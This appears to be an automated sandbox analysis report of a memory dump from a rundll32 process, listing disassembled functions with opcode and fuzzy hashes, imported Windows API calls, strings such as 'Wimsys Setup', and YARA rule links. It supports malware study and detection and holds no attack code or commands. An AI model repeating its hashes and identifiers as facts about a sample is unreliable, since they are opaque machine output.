Opcode Fuzzy Hash: f627e14ad5c5ab184ccf93306a9698a91c043210d7f2c4ca33ded8416b13da6b
Instruction Fuzzy Hash: 4911293A2007019FDB28AF78C8A457AB791FF84359B15452CD94787B40F375B902C780

Uniqueness

Uniqueness Score: -1.00%

Function 046BA5BB Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

0, xrefs: 046BA749

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 743248e6d6dfd2a7fe9b5ff298987185e23983d17691a60339b2a12c3de83b6e
Instruction ID: 34747300776240edc7a28c17af4c28b89af2dbeacecf65248a30d0bfdd459165
Opcode Fuzzy Hash: 743248e6d6dfd2a7fe9b5ff298987185e23983d17691a60339b2a12c3de83b6e
Instruction Fuzzy Hash: C7B18B74A046068FDB24CFA8C490AEABBF1AF55314F14462DD9D697791F730B886CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 046C8778 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,046C8512,00000000,00000000,?), ref: 046C87A4

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: bd42ab39ae9ebf9b5da4ae5b38d6ce0529c6395b9f8ab624b7805ccaf425acd7
Instruction ID: 64c2b11127429566a8f17a6284c144e46584b55b11d0d469d61c4ec371fcc9e3
Opcode Fuzzy Hash: bd42ab39ae9ebf9b5da4ae5b38d6ce0529c6395b9f8ab624b7805ccaf425acd7
Instruction Fuzzy Hash: 00F0A436640115BFEB38AA66C849BFF7768EB40769F15042DEC06A3280FA74FD41C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 046C826B Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

EnumSystemLocalesW.KERNEL32(046C8549,00000001,?,?,-00000050,?,046C88EB,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 046C82B5

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1434fdb132dddfb5e369dde4b6f7ce174448e731ad2585ca8521306dc204b8d0
Instruction ID: a98463168e77d483042b86829e261efafb71ae2c395edb766229993a03c0728a
Opcode Fuzzy Hash: 1434fdb132dddfb5e369dde4b6f7ce174448e731ad2585ca8521306dc204b8d0
Instruction Fuzzy Hash: B1F0F636300704AFEB247F75D885A7A7B91FF8036DF05442DF9054B680E6B9BC01CA94

Uniqueness

Uniqueness Score: -1.00%

Function 046C265B Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046BC2FD: EnterCriticalSection.KERNEL32(-0002D7D5,?,046BD6FE,00000000,046DCD80,0000000C,046BD6C5,?,?,046C1BFF,?,?,046C01DE,00000001,00000364,046B2FDB), ref: 046BC30C

EnumSystemLocalesW.KERNEL32(046C264E,00000001,046DCF60,0000000C,046C2A01,00000000), ref: 046C2693

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: d2ed67e0441af3fd5d22863028d03becfd3ba904e920c369d16d3d6568d64571
Instruction ID: 46af6902e833998cf59adef5512d46e1deacbfab39161d19280c2c8d12e53d9b
Opcode Fuzzy Hash: d2ed67e0441af3fd5d22863028d03becfd3ba904e920c369d16d3d6568d64571
Instruction Fuzzy Hash: 97F06236A00244EFE705EFA8E451B9C77F0EB04B25F10856EE811EB290EBB96940CF94

Uniqueness

Uniqueness Score: -1.00%

Function 046C8185 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

EnumSystemLocalesW.KERNEL32(046C80DE,00000001,?,?,?,046C8949,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 046C81BC

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a638ba98676522cde4dd8650b68edb0a85621605b70e62ed7813b74f9f3da7ee
Instruction ID: e86c7cd6323de45bcc97a8e0e83dc8f832f5abccca932e20935afa11cefa545d
Opcode Fuzzy Hash: a638ba98676522cde4dd8650b68edb0a85621605b70e62ed7813b74f9f3da7ee
Instruction Fuzzy Hash: 49F0E53A300206A7CB24AF79D85567ABF94EFC1615F07405DEA098B640E676A942C794

Uniqueness

Uniqueness Score: -1.00%

Function 046C2B05 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,046BF6E4,?,20001004,00000000,00000002,?,?,046BECEC), ref: 046C2B39

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7adc269e29a13d6eca114fc3083f4720080fd72b54afc6f1ace3d6d9d40a050e
Instruction ID: 9615a463a21353c044fe19a833477618a1eb419419a0f2dbc3ede17d65540c73
Opcode Fuzzy Hash: 7adc269e29a13d6eca114fc3083f4720080fd72b54afc6f1ace3d6d9d40a050e
Instruction Fuzzy Hash: 2EE04F3590021CBBCF162F61DD14EBE3E2AEF44765F008058FC0566264EB35AD21AAA5

Uniqueness

Uniqueness Score: -1.00%

Function 046B4D53 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00014D5F,046B4760), ref: 046B4D58

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7f865f2a53bfc26ec909731232d5e53326af8ea1910dec9dc1ff011822a934b9
Instruction ID: bde8273726494c368085dfcdf06e46b612f0e8227184e2ebe0dd3548e14f8f0c
Opcode Fuzzy Hash: 7f865f2a53bfc26ec909731232d5e53326af8ea1910dec9dc1ff011822a934b9
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 046C6017 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 046C6017

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ed0ee678f5a386af15ced2d98d7b2e9ca7f0249755f1623624b4a0e6cccf2b4c
Instruction ID: 010e53936f41b35c3b93ea54b927a86c40f02e90f630d9543ccb5961055f5e0e
Opcode Fuzzy Hash: ed0ee678f5a386af15ced2d98d7b2e9ca7f0249755f1623624b4a0e6cccf2b4c
Instruction Fuzzy Hash: F9A011303002008BA3808E32A2082083AEAEA00A80300A028AA08C8080FA2888A0CA80

Uniqueness

Uniqueness Score: -1.00%

Function 046B1390 Relevance: .7, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfbe4bce5e9152d7ae1f3c426cec7ee4d580f314dac525ca0cf77d9f9bac50e5
Instruction ID: a8dbdf142c999e734185af7698be4bcb23c4e81a87914a530d5b24d02c811b11
Opcode Fuzzy Hash: dfbe4bce5e9152d7ae1f3c426cec7ee4d580f314dac525ca0cf77d9f9bac50e5
Instruction Fuzzy Hash: 573260B3F506144BDB0CCE5DCC927ECB3E3BF98218B0E813DA44AE7345EA7899558A44

Uniqueness

Uniqueness Score: -1.00%

Function 046C39D9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7cddfdb3aa51fb3aa519f73d9fe1ea6a2e1cbcdc1761776242cf011eb8c98d7
Instruction ID: 8831949c1acfe85a0b78c1132ce84560418967335f9161d2344de4e755dbf6bc
Opcode Fuzzy Hash: e7cddfdb3aa51fb3aa519f73d9fe1ea6a2e1cbcdc1761776242cf011eb8c98d7
Instruction Fuzzy Hash: 1A32F121E6AF514DD7239634C832335A649EFB72C4F15E72BE81AB5A96FF28D4C34101

Uniqueness

Uniqueness Score: -1.00%

Function 046A7222 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6fc9f10cd2211062d77eaf8d3915124051b89bdd4384fd4bde98d5ae2efff6
Instruction ID: 6fd2507209894be0a3891f0bc7c6ad01a2f2e4b7008d9fd5e3caeb812317f8fa
Opcode Fuzzy Hash: df6fc9f10cd2211062d77eaf8d3915124051b89bdd4384fd4bde98d5ae2efff6
Instruction Fuzzy Hash: 74F17DB16147018FCB14CF18C89076ABBE0BB88706F09896EE999CF285E774E955CF51

Uniqueness

Uniqueness Score: -1.00%

Function 046ADF40 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f089a746676a4e9b01b31c7d8cb82a93ef6302e53a0b94ac65888bbed7da826
Instruction ID: 00285f98b8c29e3780a017debd8d599091c76e3aa04fc2fa59c21bebbd15edc3
Opcode Fuzzy Hash: 0f089a746676a4e9b01b31c7d8cb82a93ef6302e53a0b94ac65888bbed7da826
Instruction Fuzzy Hash: 78C1B431A00518DFDF19DFA8CD54AEEB7B6EF48310F144229E905BB251E731BE618BA4

Uniqueness

Uniqueness Score: -1.00%

Function 046C7994 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 3900353fa1dca2c1efbf75f74b60345d89b59da473c074a514f5867989d2c5eb
Instruction ID: add55afef6e3308281c5c172b0dbb8021b5983f0646078eb9292cf7bc7bf78c2
Opcode Fuzzy Hash: 3900353fa1dca2c1efbf75f74b60345d89b59da473c074a514f5867989d2c5eb
Instruction Fuzzy Hash: C6B1E0756007439FDB38AF25CC91AB7B3A9EB54309F04456EE98386680FA75B982CB14

Uniqueness

Uniqueness Score: -1.00%

Function 046A6AA5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 991ee5aa18b620a7a888be5417d10018a87f091ed76de585c8c5326236da27e3
Instruction ID: 5cd989933227319e9666109fa1a72b0693b137a404f1c7a1533cb361721d87b0
Opcode Fuzzy Hash: 991ee5aa18b620a7a888be5417d10018a87f091ed76de585c8c5326236da27e3
Instruction Fuzzy Hash: D3D155716087458FC714DF28D08056EBBE2FBC9714F188A2EE5D987351E670E966CF82

Uniqueness

Uniqueness Score: -1.00%

Function 046B11F0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137971fc91d6f1d9ebf6ccf4dd35b523a0bd01cdffea18df5275237ff711e5a1
Instruction ID: 7a8e5b3fbf854f01b970bae4c34c3a607d684e50bd6eb6c4a596793432487639
Opcode Fuzzy Hash: 137971fc91d6f1d9ebf6ccf4dd35b523a0bd01cdffea18df5275237ff711e5a1
Instruction Fuzzy Hash: 7A41B672E0020AAFDB08CFA8DC909EEBBB9EB55240B44456DD985E7341F630AB55C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 046B5C20 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 1db85ee05e38f4cc26d166a9887e1451a423ab6b3f44f84cd3d7daeb4445eb1e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 3B11D3F720114163D6168A2DD5B85F6A3D7EBE532DB2C426ED2C34BB58F322B1C5A780

Uniqueness

Uniqueness Score: -1.00%

Function 046C1C29 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cf1456a542e722dae1f1fb9a8e0df5cedaa77af5c6cc75f3eb87f202dc11549
Instruction ID: 34590fb710c44619a0ebe9b7d4407c11a0ee0b5a6798e1c9221b81b2f9fbe207
Opcode Fuzzy Hash: 4cf1456a542e722dae1f1fb9a8e0df5cedaa77af5c6cc75f3eb87f202dc11549
Instruction Fuzzy Hash: F5E08C72911228EBCB14DBC8C90499AF3ECEB45B00B1504AEF502D3201D274EE00DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 046BB6DE Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be8ff96877dc3e1c3e097475a36946461e1f5678f3802efdec1da4756cd37f59
Instruction ID: ef4ecbe03c628caee10b3bbcf7b47be041816a4d4f91f14103946081043043ba
Opcode Fuzzy Hash: be8ff96877dc3e1c3e097475a36946461e1f5678f3802efdec1da4756cd37f59
Instruction Fuzzy Hash: 96C08C34A00AC047DE298A18C2703F43398E3A2F82F80288CC4520BB42F51EBCC2DB40

Uniqueness

Uniqueness Score: -1.00%

Function 046A53F6 Relevance: 45.7, APIs: 22, Strings: 4, Instructions: 221windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,?,00000001), ref: 046A549F
EnableWindow.USER32(?), ref: 046A54AC
GetDlgItem.USER32(?,000003E8), ref: 046A54B8
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 046A54D5
GetSysColor.USER32(FFFFFFF1), ref: 046A54E6
SendMessageW.USER32(00000000,00000443,00000000,FFFFFFF1), ref: 046A54F4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 046A5502
lstrlenW.KERNEL32(?), ref: 046A5508
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 046A5516
SendMessageW.USER32(00000000,00000449,?,?), ref: 046A552D
GetDlgItem.USER32(?,0000040A), ref: 046A5583
SendMessageW.USER32(00000000), ref: 046A558A
EnableWindow.USER32(00000000), ref: 046A55A7
GetDlgItem.USER32(0000004E,000003E8), ref: 046A55CB
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 046A561A
LoadCursorW.USER32(00000000,00007F02), ref: 046A562C
SetCursor.USER32(00000000), ref: 046A5635
ShellExecuteExW.SHELL32(?), ref: 046A5678
LoadCursorW.USER32(00000000,00007F00), ref: 046A5684
SetCursor.USER32(00000000), ref: 046A5687
SendMessageW.USER32(00000111,00000001,00000000), ref: 046A56AF
SendMessageW.USER32(00000010,00000000,00000000), ref: 046A56C5

Strings

N, xrefs: 046A55B7
<, xrefs: 046A566C
Exec, xrefs: 046A55FF
open, xrefs: 046A565C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: MessageSend$Cursor$Item$EnableLoadWindow$ButtonCheckColorExecuteShelllstrlen
String ID: <$Exec$N$open
API String ID: 3270077613-1011106380
Opcode ID: de968f7a640fbfeb3504da38745baf6310421ebbb0c9f318c5d600a81638f683
Instruction ID: bea51addb28a4020c00258f5baef0be1272d614ca897ff240405670e7e98f660
Opcode Fuzzy Hash: de968f7a640fbfeb3504da38745baf6310421ebbb0c9f318c5d600a81638f683
Instruction Fuzzy Hash: EC818CB0605708BFDB10DF24DC44A6A7BE9FB84354F00582DF64696290E778ED50CF96

Uniqueness

Uniqueness Score: -1.00%

Function 046A7DCD Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 046A7E0E
BeginPaint.USER32(?,?), ref: 046A7E29
GetClientRect.USER32(?,?), ref: 046A7E3C
CreateBrushIndirect.GDI32(00000000), ref: 046A7EC7
FillRect.USER32(00000000,?,00000000), ref: 046A7EDB
DeleteObject.GDI32(00000000), ref: 046A7EE2
CreateFontIndirectW.GDI32(02E9BFA0), ref: 046A7F08
SetBkMode.GDI32(00000000,00000001), ref: 046A7F2B
SetTextColor.GDI32(00000000,FFFFFFFF), ref: 046A7F35
SelectObject.GDI32(00000000,00000000), ref: 046A7F43
DrawTextW.USER32(00000000,Wimsys Setup,000000FF,?,00000820), ref: 046A7F59
SelectObject.GDI32(00000000,00000000), ref: 046A7F61
DeleteObject.GDI32(?), ref: 046A7F67
EndPaint.USER32(?,?), ref: 046A7F76

Strings

F, xrefs: 046A7DF4
Wimsys Setup, xrefs: 046A7F53

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Wimsys Setup
API String ID: 941294808-3733406751
Opcode ID: f7f777c8842c667c5173053a907c3116c7a161de1a080069577de0fc3937e7a6
Instruction ID: 89e798eb87393007409b0974a4ec47f6f1f97352688873805aa6d9318feaf560
Opcode Fuzzy Hash: f7f777c8842c667c5173053a907c3116c7a161de1a080069577de0fc3937e7a6
Instruction Fuzzy Hash: 8B518CB2108350AFC708CF24D84496ABBE9FF88315F145A1EF89596291D738EE15CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 046B44E5 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(046E0678,00000FA0,?,?,046B44C3), ref: 046B44F1
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,046B44C3), ref: 046B44FC
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,046B44C3), ref: 046B450D
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 046B451F
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 046B452D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,046B44C3), ref: 046B4550
DeleteCriticalSection.KERNEL32(046E0678,00000007,?,?,046B44C3), ref: 046B456C
CloseHandle.KERNEL32(00000000,?,?,046B44C3), ref: 046B457C

Strings

WakeAllConditionVariable, xrefs: 046B4525
SleepConditionVariableCS, xrefs: 046B4519
kernel32.dll, xrefs: 046B4508
api-ms-win-core-synch-l1-2-0.dll, xrefs: 046B44F7

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
